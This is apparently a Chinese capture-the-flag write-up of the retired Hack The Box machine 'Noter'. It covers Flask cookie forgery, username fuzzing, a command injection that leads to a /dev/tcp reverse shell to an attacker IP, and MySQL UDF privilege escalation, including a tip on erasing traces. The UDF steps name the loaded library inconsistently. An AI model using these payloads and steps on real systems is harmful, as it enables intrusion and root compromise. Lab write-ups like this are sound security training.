Noter Writeup

概述 (Overview)

500

HOST: 10.10.11.160

OS: LINUX

发布时间: 2022-05-08

完成时间: 2022-06-22

机器作者: kavigihan

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #Node #Flask #SourceCodeAnalysis #Fuzzing #MysqlUDF

攻击链 (Kiillchain)

使用 Nmap 扫描目标服务器开放端口,发现 5000 端口存在 Web 服务。对其进行分析发现 Cookie 存在授信会话伪造,利用该风险结合用户枚举成功登录控制台。在控制消息列表中找到 FTP 登录账号,进一步在 FTP 文件 PDF 中找到默认口令生成规则,成功已 ftp_admin 身份得到 Web 服务源代码备份压缩包。经过代码审计成功找到命令注入,成功拿到初步的立足点。最终通过信息收集发现 mysql udf 攻击路径,完成权限提升。

枚举(Enumeration)

老样子,还是使用 Nmap 对目标服务器开放端口进行扫描。

PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA) | 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA) |_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519) 5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10) |_http-title: Noter | http-methods: |_ Supported Methods: GET OPTIONS HEAD |_http-server-header: Werkzeug/2.0.2 Python/3.8.10 Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

能在指纹中获悉 5000 端口的 Web 服务对外开放,组件用的 Werkzeug,这也许是我们打点的突破口。

Port 5000 - Werkzeug

通过浏览器进行访问,能够得到一个登录页面:

500

观察到返回请求的 Cookie 中生成了一段类似 JWT 的字符串,使用 jwt_tools 工具进行解析提示错误,说明它不是一个有效的 JWT 或者存在错误。使用 burp 的 JWT 插件解出来存在乱码:

550

通过 google 进行语法搜索,找到对该应用的 Cookie 相关文章 https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask

里面指向一个python工具 flask-unsign - https://pypi.org/project/flask-unsign/ ,通过它能够从加密字符串中提取信息:

$ flask-unsign --decode --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.YrKNTw.mlFylGN0VdYZDqdsNjdsXBlfKgQ" {'logged_in': True, 'username': 'test'}

接下来尝试伪造授信加密字符串,但需要知道有效的签名。观察工具帮助信息中存在暴力枚举功能,所以使用它成功得到了有效的签名。

$ flask-unsign --unsign --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.YrKNTw.mlFylGN0VdYZDqdsNjdsXBlfKgQ" --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval [*] Session decodes to: {'logged_in': True, 'username': 'test'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 17024 attempts b'secret123'

能够伪造授信会话后又面对新的问题,需要寻找存在的登录账号。还好这步比较简单,只要观察返回信息就能推断出已注册的用户。

550

550

用户不存在返回:Invalid login,用户存在返回:Invalid credentials。根据这一信息,使用 ffuf 工具对登录请求进行 fuzzing。

$ ffuf -w ./SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&password=admin" -u http://10.10.11.160:5000/login -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid credentials" ...snip... blue [Status: 200, Size: 2027, Words: 432, Lines: 69, Duration: 655ms] :: Progress: [10177/10177] :: Job [1/1] :: 224 req/sec :: Duration: [0:00:46] :: Errors: 0 ::

成功枚举出一个 blue 用户,伪造该用户的授信会话成功进入控制台。

$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123' eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YrKRKw.gQESJBT_qzP5pv35XwMB2gwdnkw

550

在里面能看到 ftp_admin 用户发的消息,里面有一组账号密码。

550

第一反应是 ssh 登录,但发现一登录就被 kill 了会话。

500

立足点(Foothold)

登录 FTP 服务进行查看,发现就一个 PDF 文件。

550

550

从里面的内容可以找账号口令生成规则,根据这一特效登录 ftp_admin 账号。

ftp_admin ftp_admin@Noter!

550

发现里面存在两个应用备份文件,下载到本地进行分析。这里我直接采用 diff 命令进行文件夹内容比对:

550

对代码进行审计,发现 export_note_remote 方法存在命令注入漏洞:

# Export remote @app.route('/export_note_remote', methods=['POST']) @is_logged_in def export_note_remote(): if check_VIP(session['username']): try: url = request.form['url'] status, error = parse_url(url) if (status is True) and (error is None): try: r = pyrequest.get(url,allow_redirects=True) rand_int = random.randint(1,10000) command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}" subprocess.run(command, shell=True, executable="/bin/bash") if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'): return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True) else: return render_template('export_note.html', error="Error occured while exporting the !") except Exception as e: return render_template('export_note.html', error="Error occured!") else: return render_template('export_note.html', error=f"Error occured while exporting ! ({error})") except Exception as e: return render_template('export_note.html', error=f"Error occured while exporting ! ({e})") else: abort(403)

对传递的 url 参数进行出网验证,成功。

700

在本地创建的 md 文件中写入反弹 shell 语句,成功得到立足点。

image

实际脚本运行的恶意 bash 如下:

node misc/md-to-pdf.js $'--';bash -i >& /dev/tcp/10.10.17.64/9090 0>&1;'--' {1...1000}

权限提升(Privilege Escalation)

传递 linpeas 脚本至目标服务器执行,对服务器环境进行深度的脆弱性分析。其中发现 mysql 服务是已 root 用户启动的,而通过前面的代码审计已经知道了 mysql 登录口令,这意味着我们可以尝试 UDF 提权。

UDF 的利用有一个前提, mysql.user 具备本地文件读写权限

600

User-Defined Function (UDF) Dynamic Library - https://www.exploit-db.com/exploits/1518

550

接下来开始利用过程,首先使用 mysql 的 -e 参数执行 sql 语句,查询 plugin 的本地路径:

$ mysql -uroot -pNildogg36 -Dapp -e "show variables like '%plugin%';" Variable_name Value plugin_dir /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ plugin_maturity gamma

随后将 MSF 中 UDF 利用组件 /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so 文件传递至目标服务器,利用 load_file 函数将文件的内容生成十六进制字符串。随后将这串十六进制内容通过 unhex 函数 dumpfileplugin 路径下。

select hex(load_file('/home/svc/lib_mysqludf_sys_64.so')) into outfile '/tmp/udf.txt'; select unhex('7F454C4602010100000......') into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysqludf.so'

导出至 plugin 文件后,需要运行 create 语句对其进行加载,才能运行 so 文件内的自定义函数。

create function sys_exec returns int soname 'udf.dll';

650

题外话

# 如果要删除函数(清除痕迹),udf文件必须还存在plugin目录下 drop function sys_eval; 或 delete from mysql.func where name='sys_eval';

参看 lib_mysqludf_sys_64.so 支持哪些函数可运行 $ nm -D lib_mysqludf_sys_64.so

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。